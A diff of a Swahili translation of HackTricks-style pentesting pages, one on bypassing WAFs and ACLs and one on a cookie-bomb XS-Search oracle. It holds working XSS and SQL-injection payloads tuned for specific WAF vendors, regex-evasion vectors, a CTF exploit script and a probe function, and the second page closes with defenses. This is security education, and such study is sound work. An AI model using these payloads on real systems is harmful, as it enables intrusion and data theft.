+## Kuvuka Nginx ACL Rules kwa Pathname Manipulation <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
 
-Mbinu [kutoka utafiti huu](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
+Mbinu [kutoka kwenye utafiti huu](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
 
-Mfano wa sheria za Nginx:
+Mfano wa sheria ya Nginx:
 ```plaintext
 location = /admin {
 deny all;
@@ -17,7 +17,7 @@ location = /admin/ {
 deny all;
 }
 ```
-Ili kuzuia bypasses, Nginx inafanya urekebishaji wa njia kabla ya kuangalia. Hata hivyo, ikiwa seva ya nyuma inafanya urekebishaji tofauti (kuondoa wahusika ambao nginx haondoi) inaweza kuwa inawezekana kupita ulinzi huu.
+Ili kuzuia bypasses, Nginx hufanya path normalization kabla ya kuikagua. Hata hivyo, ikiwa backend server inafanya normalization tofauti (kuondoa characters ambazo nginx haiondoi) inaweza kuwa inawezekana kupitisha defense hii.
 
 ### **NodeJS - Express**
 
@@ -51,7 +51,7 @@ Ili kuzuia bypasses, Nginx inafanya urekebishaji wa njia kabla ya kuangalia. Hat
 
 ### **PHP-FPM**
 
-Nginx FPM configuration:
+Usanidi wa Nginx FPM:
 ```plaintext
 location = /admin.php {
 deny all;
@@ -62,7 +62,7 @@ include snippets/fastcgi-php.conf;
 fastcgi_pass unix:/run/php/php8.1-fpm.sock;
 }
 ```
-Nginx imewekwa kuzuia ufikiaji wa `/admin.php` lakini inawezekana kupita hii kwa kufikia `/admin.php/index.php`.
+Nginx imewekwa kuzuia ufikiaji wa `/admin.php` lakini inawezekana ku-bypass kwa kufikia `/admin.php/index.php`.
 
 ### Jinsi ya kuzuia
 ```plaintext
@@ -70,24 +70,24 @@ location ~* ^/admin {
 deny all;
 }
 ```
-## Bypass Mod Security Rules <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
+## Kuepuka Mod Security Rules <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
 
-### Path Confusion
+### Mchanganyiko wa path
 
-[**Katika chapisho hili**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) inaelezwa kwamba ModSecurity v3 (hadi 3.0.12), **ilitekelezwa vibaya `REQUEST_FILENAME`** variable ambayo ilipaswa kuwa na njia iliyofikiwa (hadi mwanzo wa vigezo). Hii ni kwa sababu ilifanya URL decode ili kupata njia.\
-Hivyo, ombi kama `http://example.com/foo%3f';alert(1);foo=` katika mod security litadhani kwamba njia ni tu `/foo` kwa sababu `%3f` inabadilishwa kuwa `?` ikimaliza njia ya URL, lakini kwa kweli njia ambayo seva itapokea itakuwa `/foo%3f';alert(1);foo=`.
+[**In this post**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) inaeleza kwamba ModSecurity v3 (hadi 3.0.12), **iliweka vibaya variable `REQUEST_FILENAME`** ambayo ilipaswa kuwa na path iliyofikiwa (mpaka mwanzo wa vigezo). Hii ni kwa sababu ilifanya URL decode ili kupata path.\
+Kwa hivyo, ombi kama `http://example.com/foo%3f';alert(1);foo=` katika ModSecurity litadhani kuwa path ni tu `/foo` kwa sababu `%3f` hubadilika kuwa `?` ambayo inamaliza URL path, lakini kwa kweli path ambayo server itapokea itakuwa `/foo%3f';alert(1);foo=`.
 
-Vigezo `REQUEST_BASENAME` na `PATH_INFO` pia vilikumbwa na hitilafu hii.
+Variables `REQUEST_BASENAME` na `PATH_INFO` pia ziliathirika na hitilafu hii.
 
-Kitu kama hicho kilitokea katika toleo la 2 la Mod Security ambalo liliruhusu kupita ulinzi ambao ulizuia mtumiaji kufikia faili zenye extensions maalum zinazohusiana na faili za akiba (kama `.bak`) kwa kutuma tu dot URL encoded katika `%2e`, kwa mfano: `https://example.com/backup%2ebak`.
+Jambo linalofanana lilitokea katika toleo la 2 la Mod Security ambalo liliwezesha kuepuka kinga iliyokuwa ikizuia mtumiaji kufikia faili zenye extensions maalum zinazohusiana na backup (kama `.bak`) kwa kutuma dot iliyokuwa URL encoded kama `%2e`, kwa mfano: `https://example.com/backup%2ebak`.
 
-## Bypass AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
+## Kuepuka AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
 
-### Malformed Header
+### Header isiyo sahihi
 
-[Utafiti huu](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) unataja kwamba ilikuwa inawezekana kupita sheria za AWS WAF zilizotumika juu ya vichwa vya HTTP kwa kutuma kichwa "kilichovunjika" ambacho hakikupaswa vizuri na AWS lakini kilipaswa na seva ya nyuma.
+[This research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) inataja kuwa ilikuwa inawezekana kuepuka rules za AWS WAF zilizotumika juu ya HTTP headers kwa kutuma header "malformed" ambayo haikufasiriwa ipasavyo na AWS lakini ilifasiriwa na backend server.
 
-Kwa mfano, kutuma ombi lifuatalo lenye SQL injection katika kichwa X-Query:
+Kwa mfano, kutuma ombi lifuatalo lenye SQL injection katika header X-Query:
 ```http
 GET / HTTP/1.1\r\n
 Host: target.com\r\n
@@ -96,49 +96,50 @@ X-Query: Value\r\n
 Connection: close\r\n
 \r\n
 ```
-Ili kupita AWS WAF ilikuwa inawezekana kwa sababu haingeweza kuelewa kwamba mstari unaofuata ni sehemu ya thamani ya kichwa wakati seva ya NODEJS ilifanya hivyo (hii ilirekebishwa).
+Ilikuwa inawezekana kufanya bypass ya AWS WAF kwa sababu haikuweza kuelewa kwamba mstari uliofuata ni sehemu ya thamani ya header, wakati server ya NODEJS ilielewa (hili limeshughulikiwa).
 
-## Kupita WAF za Kawaida
+## Za Kawaida WAF bypasses
 
-### Mipaka ya Ukubwa wa Ombi
+### Mikomo ya Ukubwa wa Maombi
 
-Kwa kawaida WAF zina mipaka fulani ya urefu wa maombi ya kuangalia na ikiwa ombi la POST/PUT/PATCH likipita, WAF haitakagua ombi hilo.
+Kawaida WAF zina kikomo fulani cha urefu wa requests kukagua na ikiwa POST/PUT/PATCH request iko juu yake, WAF haitakagua request hiyo.
 
-- Kwa AWS WAF, unaweza [**kuangalia nyaraka**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
+- For AWS WAF, you can [**check the documentation**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
 
-<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Ukubwa wa juu wa mwili wa ombi la wavuti ambalo linaweza kukaguliwa kwa ulinzi wa Application Load Balancer na AWS AppSync</td><td>8 KB</td></tr><tr><td>Ukubwa wa juu wa mwili wa ombi la wavuti ambalo linaweza kukaguliwa kwa ulinzi wa CloudFront, API Gateway, Amazon Cognito, App Runner, na Verified Access**</td><td>64 KB</td></tr></tbody></table>
+<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Maximum size of a web request body that can be inspected for Application Load Balancer and AWS AppSync protections</td><td>8 KB</td></tr><tr><td>Maximum size of a web request body that can be inspected for CloudFront, API Gateway, Amazon Cognito, App Runner, and Verified Access protections**</td><td>64 KB</td></tr></tbody></table>
 
-- Kutoka [**nyaraka za Azure**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
+- From [**Azure docs**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
 
-Firewalls za zamani za Maombi ya Wavuti zenye Core Rule Set 3.1 (au chini) zinaruhusu ujumbe wenye ukubwa zaidi ya **128 KB** kwa kuzima ukaguzi wa mwili wa ombi, lakini ujumbe huu hautakaguliwa kwa udhaifu. Kwa matoleo mapya (Core Rule Set 3.2 au mapya), jambo hilo linaweza kufanywa kwa kuzima mipaka ya juu ya mwili wa ombi. Wakati ombi linapopita mipaka ya ukubwa:
+Older Web Application Firewalls with Core Rule Set 3.1 (or lower) allow messages larger than **128 KB** by turning off request body inspection, but these messages won't be checked for vulnerabilities. For newer versions (Core Rule Set 3.2 or newer), the same can be done by disabling the maximum request body limit. When a request exceeds the size limit:
 
-Ikiwa **mode ya kuzuia**: Inarekodi na kuzuia ombi.\
-Ikiwa **mode ya kugundua**: Inakagua hadi mipaka, inapuuzilia mbali yaliyobaki, na inarekodi ikiwa `Content-Length` inazidi mipaka.
+If p**revention mode**: Logs and blocks the request.\
+If **detection mode**: Inspects up to the limit, ignores the rest, and logs if the `Content-Length` exceeds the limit.
 
-- Kutoka [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
+- From [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
 
-Kwa kawaida, WAF inakagua tu 8KB za kwanza za ombi. Inaweza kuongeza mipaka hadi 128KB kwa kuongeza Metadata ya Juu.
+By default, the WAF inspects only the first 8KB of a request. It can increase the limit up to 128KB by adding Advanced Metadata.
 
-- Kutoka [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
+- From [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
 
-Hadi 128KB.
+Up to 128KB.
 
-### Mapungufu ya ukaguzi wa mali za statiki (.js GETs)
+### Mapengo ya ukaguzi wa mali za static (.js GETs)
 
-Baadhi ya stacks za CDN/WAF zinaweka ukaguzi dhaifu au hakuna wa maudhui kwa maombi ya GET kwa mali za statiki (kwa mfano njia zinazomalizika na `.js`), wakati bado zinaweka sheria za kimataifa kama vile mipaka ya kiwango na sifa za IP. Imeunganishwa na uhifadhi wa kiotomatiki wa nyongeza za statiki, hii inaweza kutumika vibaya kupeleka au kuanzisha toleo mbaya linaloathiri majibu ya HTML yanayofuata.
+Baadhi ya CDN/WAF stacks hufanya uchunguzi dhaifu au bila uchunguzi kabisa kwa GET requests za static assets (kwa mfano path zinazomaliza kwa `.js`), wakati bado zikitumia rules za kimataifa kama rate limiting na IP reputation. Ikiambatana na auto-caching ya extensions za static, hili linaweza kutumika kuwasilisha au kuwekea variants zenye madhara ambazo huathiri response za HTML zinazofuata.
 
-Matumizi halisi:
+Matumizi ya vitendo:
 
-- Tuma payloads katika vichwa visivyoaminika (mfano, `User-Agent`) kwenye GET kwa njia ya `.js` ili kuepuka ukaguzi wa maudhui, kisha mara moja omba HTML kuu ili kuathiri toleo lililohifadhiwa.
-- Tumia IP safi/mbadala; mara IP inapokuwa na alama, mabadiliko ya routing yanaweza kufanya mbinu hiyo isiyoaminika.
-- Katika Burp Repeater, tumia "Tuma kundi kwa pamoja" (mtindo wa pakiti moja) ili kuharakisha maombi mawili (`.js` kisha HTML) kupitia njia ile ile ya mbele.
+- Tuma payloads katika headers zisizoaminika (kwa mfano, `User-Agent`) kwenye GET kwenda path ya `.js` ili kuepuka content inspection, kisha mara moja utafsiri HTML kuu ili kuathiri variant iliyocached.
+- Tumia IP safi/mbadala; mara IP ikibandikwa, mabadiliko ya routing yanaweza kufanya mbinu isiwe ya kuaminika.
+- Katika Burp Repeater, tumia "Send group in parallel" (single-packet style) kuendesha mbio za requests mbili (`.js` kisha HTML) kupitia front-end path ile ile.
 
-Hii inafanana vizuri na sumu ya cache ya kioo cha kichwa. Tazama:
+Hii inafaa vizuri na header-reflection cache poisoning. Angalia:
 
-- {{#ref}}
+{{#ref}}
 cache-deception/README.md
 {{#endref}}
-- [Jinsi nilivyogundua kuchukuliwa kwa akaunti ya 0-Click katika BBP ya umma na kuitumia kupata kazi za kiwango cha Admin](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
+
+- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
 
 ### Obfuscation <a href="#ip-rotation" id="ip-rotation"></a>
 ```bash
@@ -148,36 +149,36 @@ cache-deception/README.md
 # Path blacklist bypass - Tomcat
 /path1/path2/ == ;/path1;foo/path2;bar/;
 ```
-### Unicode Compatability <a href="#unicode-compatability" id="unicode-compatability"></a>
+### Ulinganifu wa Unicode <a href="#unicode-compatability" id="unicode-compatability"></a>
 
-Kulingana na utekelezaji wa normalization ya Unicode (maelezo zaidi [hapa](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), wahusika wanaoshiriki ufanisi wa Unicode wanaweza kuwa na uwezo wa kupita WAF na kutekeleza kama mzigo ulokusudiwa. Wahusika wanaofaa wanaweza kupatikana [hapa](https://www.compart.com/en/unicode).
+Kutegemea utekelezaji wa Unicode normalization (maelezo zaidi [here](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), herufi zinazoshiriki ulinganifu wa Unicode zinaweza kufanikiwa kupita WAF na kutekeleza kama payload iliyokusudiwa. Herufi zinazolingana zinaweza kupatikana [here](https://www.compart.com/en/unicode).
 
-#### Example <a href="#example" id="example"></a>
+#### Mfano <a href="#example" id="example"></a>
 ```bash
 # under the NFKD normalization algorithm, the characters on the left translate
 # to the XSS payload on the right
 ＜img src⁼p onerror⁼＇prompt⁽1⁾＇﹥  --> ＜img src=p onerror='prompt(1)'>
 ```
-### Bypass Contextual WAFs with encodings <a href="#ip-rotation" id="ip-rotation"></a>
+### Kupitisha WAFs za Muktadha kwa kutumia kodishaji <a href="#ip-rotation" id="ip-rotation"></a>
 
-Kama ilivyotajwa katika [**hiki kipande cha blog**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), ili kupita WAFs zinazoweza kudumisha muktadha wa ingizo la mtumiaji tunaweza kutumia mbinu za WAF ili kweli kuimarisha ingizo la watumiaji.
+As mentioned in [**this blog post**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), Ili kupitisha WAFs zinazoweza kuhifadhi muktadha wa ingizo la mtumiaji tunaweza kuutumia WAF techniques ili kwa hakika ku-normalize ingizo la mtumiaji.
 
-Kwa mfano, katika chapisho hilo inatajwa kwamba **Akamai ilichambua ingizo la mtumiaji mara 10**. Hivyo basi kitu kama `<input/%2525252525252525253e/onfocus` kitaonekana na Akamai kama `<input/>/onfocus` ambayo **inaweza kufikiriwa kuwa sawa kwani tag imefungwa**. Hata hivyo, mradi tu programu hiyo haifanyi URL decode ingizo mara 10, mwathirika ataona kitu kama `<input/%25252525252525253e/onfocus` ambacho **bado ni halali kwa shambulio la XSS**.
+Kwa mfano, kwenye chapisho imetajwa kwamba **Akamai URL decoded a user input 10 times**. Kwa hivyo kitu kama `<input/%2525252525252525253e/onfocus` kitaonekana na Akamai kama `<input/>/onfocus` ambayo inaweza **kudhani kwamba iko sawa kwa sababu tag imefungwa**. Hata hivyo, mradi tu application haifanyi URL decode ingizo mara 10, victim ataona kitu kama `<input/%25252525252525253e/onfocus` ambacho bado ni **halali kwa XSS attack**.
 
-Hivyo basi, hii inaruhusu **kuficha payloads katika vipengele vilivyoimarishwa** ambavyo WAF itachambua na kutafsiri wakati mwathirika hatatambua.
+Hivyo, hii inaruhusu **kuficha payloads katika vipengele vilivyokodishwa** ambavyo WAF itavionyesha na kuyaelewa wakati victim hatayaona.
 
-Zaidi ya hayo, hii inaweza kufanywa si tu na payloads zilizochambuliwa kwa URL bali pia na uimarishaji mwingine kama unicode, hex, octal...
+Zaidi ya hayo, hii inaweza kufanywa si tu na URL encoded payloads bali pia na encodings nyingine kama unicode, hex, octal...
 
-Katika chapisho hilo, bypasses zifuatazo zinapendekezwa:
+Katika chapisho bypasses za mwisho zilizo pendekezwa ni:
 
 - Akamai:`akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>`
 - Imperva:`imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">`
 - AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
 - Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
 
-Pia inatajwa kwamba kulingana na **jinsi baadhi ya WAFs zinavyoelewa muktadha** wa ingizo la mtumiaji, inaweza kuwa inawezekana kuikandamiza. Mfano ulioanzishwa katika blog ni kwamba Akamai iliruhusu kuweka chochote kati ya `/*` na `*/` (labda kwa sababu hii hutumiwa mara nyingi kama maoni). Hivyo basi, SQLinjection kama `/*'or sleep(5)-- -*/` haitakamatwa na itakuwa halali kwani `/*` ni mfuatano wa kuanzisha wa injection na `*/` imewekwa kama maoni.
+Pia imetajwa kuwa kulingana na **jinsi baadhi ya WAFs zinavyofahamu muktadha** wa ingizo la mtumiaji, inaweza kuwa inawezekana kuudanganya. Mfano uliopendekezwa kwenye blog ni kwamba Akamai iliruhusu kuweka chochote kati ya `/*` na `*/` (labda kwa sababu hii hutumika kama comments). Kwa hivyo, SQLinjection kama `/*'or sleep(5)-- -*/` haitakamatwa na itakuwa halali kwa kuwa `/*` ni string ya kuanza ya injection na `*/` ni commented.
 
-Aina hizi za matatizo ya muktadha zinaweza pia kutumika **kudhulumu udhaifu mwingine zaidi ya ule unaotarajiwa** kutumiwa na WAF (kwa mfano, hii inaweza pia kutumika kutekeleza XSS).
+Aina hizi za matatizo ya muktadha pia zinaweza kutumika **kuabuse udhaifu mwingine tofauti na ule uliotarajiwa** kujaribiwa na WAF (kwa mfano: hii pia inaweza kutumika kuchochea XSS).
 
 ### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>
 
@@ -188,15 +189,15 @@ h2c-smuggling.md
 
 ### IP Rotation <a href="#ip-rotation" id="ip-rotation"></a>
 
-- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Tengeneza URL ya API gateway kutumika na ffuf
-- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Kufanana na fireprox
-- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Burp Suite plugin inayotumia IPs za API gateway
-- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Idadi inayopangwa kwa njia ya kidinari ya mifano ya kontena inazinduliwa kulingana na ukubwa wa faili ya ingizo na kipengele cha kugawanya, huku ingizo likigawanywa katika vipande kwa utekelezaji wa sambamba, kama mifano 100 ikipitia vipande 100 kutoka kwa faili ya ingizo yenye mistari 10,000 na kipengele cha kugawanya cha mistari 100.
+- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Generate an API gateway URL to by used with ffuf
+- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Similar to fireprox
+- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Burp Suite plugin that uses API gateway IPs
+- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): A dynamically determined number of container instances are activated based on the input file size and split factor, with the input split into chunks for parallel execution, such as 100 instances processing 100 chunks from a 10,000-line input file with a split factor of 100 lines.
 - [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
 
 ### Regex Bypasses
 
-Mbinu tofauti zinaweza kutumika kupita vichujio vya regex kwenye moto. Mifano ni pamoja na kubadilisha kesi, kuongeza mapumziko ya mistari, na kuimarisha payloads. Rasilimali za bypass mbalimbali zinaweza kupatikana katika [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) na [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Mifano iliyo hapa chini ilitolewa kutoka [hiki kipande](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
+Mbinu tofauti zinaweza kutumika kupitisha regex filters kwenye firewalls. Mifano ni pamoja na kutumia alternating case, kuongeza line breaks, na ku-encode payloads. Rasilimali za bypass mbalimbali zinaweza kupatikana kwenye [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) na [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Mifano hapa chini ilichukuliwa kutoka [this article](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
 ```bash
 <sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
 <<script>alert(XSS)</script> #prepending an additional "<"
@@ -217,11 +218,11 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
 <a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
 <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
 ```
-## Tools
+## Vifaa
 
-- [**nowafpls**](https://github.com/assetnote/nowafpls): Plugin ya Burp kuongeza data za ovyo kwenye maombi ili kupita WAFs kwa urefu
+- [**nowafpls**](https://github.com/assetnote/nowafpls): Burp plugin ya kuongeza junk data kwenye requests ili kupita WAFs kwa urefu
 
-## References
+## Marejeo
 
 - [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
 - [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)

src/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md

@@ -2,7 +2,24 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-The following **script** taken from [**here**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) is exploiting a functionality that allows the user to **insert any amount of cookies**, and then loading a file as a script knowing that the true response will be larger than the false one and then. If successful, the response is a redirect with a resulting URL longer, **sana kubwa kushughulikiwa na server hivyo inarudisha msimbo wa hali ya makosa http**. If the search fails, nothing will happen because URL is short.
+Mbinu hii inachanganya:
+- Cookie bombing: kujaza browser ya victim na cookies nyingi/kubwa kwa target origin ili maombi yafuatayo yafike mipaka ya server/maombi (request header size, URL size in redirects, etc.).
+- Error-event oracle: kujaribu cross-origin endpoint kwa <script> (au subresource nyingine) na kutofautisha hali kwa onload vs onerror.
+
+High level idea
+- Tafuta target endpoint ambayo tabia yake inatofautiana kwa hali mbili unazotaka kupima (kwa mfano, search “hit” vs “miss”).
+- Hakikisha njia ya “hit” itasababisha redirect chain nzito au URL ndefu wakati njia ya “miss” inabaki fupi. Panua request headers kwa kutumia cookies nyingi ili njia ya “hit” pekee isababisha server kushindwa na HTTP error (mf., 431/414/400). Error hiyo inabadilisha onerror event na kuwa oracle kwa XS-Search.
+
+When does this work
+- Unaweza kusababisha victim browser kutuma cookies kwa target (mf., cookies ni SameSite=None au unaweza kuziweka katika first-party context kupitia popup window.open).
+- Kuna app feature unaweza kutumia vibaya kuweka cookies za arbitrary (mf., “save preference” endpoints ambazo zinageuza controlled input names/values kuwa Set-Cookie) au kufanya post-auth redirects zinazojumuisha data inayoendeshwa na attacker kwenye URL.
+- Server inatoa majibu tofauti kwa hali hizo mbili na, kwa headers/URL zilizoibuliwa, hali moja itavuka kikomo na kurudisha error response ambayo inachochea onerror.
+
+Note on server errors used as the oracle
+- 431 Request Header Fields Too Large mara nyingi hurudishwa wakati cookies zinapanua request headers; 414 URI Too Long au server-specific 400 inaweza kurudishwa kwa request targets ndefu. Moja wapo ya hizi husababisha subresource kushindwa kupakia na kusababisha onerror. [MDN documents 431 and typical causes like excessive cookies.]()
+
+Practical example (angstromCTF 2022)
+Skripti ifuatayo (kutoka public writeup) inatumia vibaya feature inayomruhusu attacker kuingiza cookies za arbitrary, kisha inaleta cross-origin search endpoint kama script. Wakati query ni sahihi, server inafanya redirect ambayo, pamoja na cookie bloat, inazidi mipaka ya server na kurudisha error status, kwa hivyo script.onerror inawaka; vinginevyo hakuna kinachotokea.
 ```html
 <>'";
 <form action="https://sustenance.web.actf.co/s" method="POST">
@@ -57,4 +74,53 @@ break
 }
 </script>
 ```
+Why the popup (window.open)?
+- Vivinjari vya kisasa vinaanza kuziba third-party cookies. Kufungua top-level window kwa target kunafanya cookies kuwa first‑party, hivyo Set-Cookie responses kutoka kwa target zitabaki, kuwezesha hatua ya cookie-bomb hata kwa vikwazo vya third‑party cookies.
+
+Generic probing helper
+Iwapo tayari una njia ya kuweka cookies nyingi kwenye origin ya target (first-party), unaweza kutumia tena minimal oracle hii dhidi ya endpoint yoyote ambapo success/failure hupelekea matokeo tofauti ya mtandao (status/MIME/redirect):
+```js
+function probeError(url) {
+return new Promise((resolve) => {
+const s = document.createElement('script');
+s.src = url;
+s.onload = () => resolve(false);  // loaded successfully
+s.onerror = () => resolve(true);  // failed (e.g., 4xx/5xx, wrong MIME, blocked)
+document.head.appendChild(s);
+});
+}
+```
+Vidokezo vya kujenga oracle
+- Lazimishe hali “positive” iwe nzito zaidi: chonga redirect ya ziada tu wakati predicate ni kweli, au fanya redirect URL ionyeshe input isiyozuilika ya mtumiaji ili ikue pamoja na kiambishi awali kinachokisiwa.
+- Inflate headers: rudia cookie bombing hadi kosa linaloendelea laonekana kwenye njia “heavy”. Serveri kawaida zinazuia ukubwa wa header na zitaanguka mapema wakati cookies nyingi zipo.
+- Stabilize: anzisha shughuli nyingi za kuweka cookie kwa sambamba na fanyia uchunguzi mara kwa mara ili kupunguza kelele ya muda na cache.
+
+Related XS-Search tricks
+- URL length based oracles (no cookies needed) zinaweza kuchanganywa au kutumika badala yake unapoweza kuamua lengo la ombi lenye urefu mkubwa:
+
+{{#ref}}
+url-max-length-client-side.md
+{{#endref}}
+
+Defenses and hardening
+- Make success/failure responses indistinguishable:
+- Epuka conditional redirects au tofauti kubwa katika ukubwa wa response kati ya states. Rejesha status ile ile, same content type, na urefu wa body unaofanana bila kujali state.
+- Block cross-site subresource probes:
+- SameSite cookies: weka sensitive cookies kwa SameSite=Lax au Strict ili subresource requests kama <script src> zisizibebe; pendelea Strict kwa auth tokens inapowezekana.
+- Fetch Metadata: enforce Resource Isolation Policy kukataa cross-site subresource loads (mfano, if Sec-Fetch-Site != same-origin/same-site).
+- Cross-Origin-Resource-Policy (CORP): weka CORP: same-origin (au angalau same-site) kwa endpoints zisizokusudiwa kuingizwa kama cross-origin subresources.
+- X-Content-Type-Options: nosniff na weka Content-Type sahihi kwenye JSON/HTML endpoints ili kuepuka load-as-script quirks.
+- Reduce header/URL amplification:
+- Weka cap kwa idadi/ukubwa wa cookies zinazowekwa; sanitize vipengele vinavyowabadilisha arbitrary form fields kuwa Set-Cookie.
+- Normalize au truncate reflected data katika redirects; epuka kuingiza attacker-controlled long strings katika Location URLs.
+- Hifadhi server limits ziwe consistent na zishindwe kwa njia ile ile (epuka special error pages kwa tawi moja tu).
+
+Maelezo
+- Daraja hili la mashambulizi linajadiliwa kwa upana kama “Error Events” XS-Leaks. Hatua ya cookie-bomb ni njia rahisi ya kusukuma tawi moja tu kuzidi server limits, ikitoa reliable boolean oracle.
+
+
+
+## References
+- XS-Leaks: Error Events (onerror/onload as an oracle): https://xsleaks.dev/docs/attacks/error-events/
+- MDN: 431 Request Header Fields Too Large (common with many cookies): https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/431
 {{#include ../../banners/hacktricks-training.md}}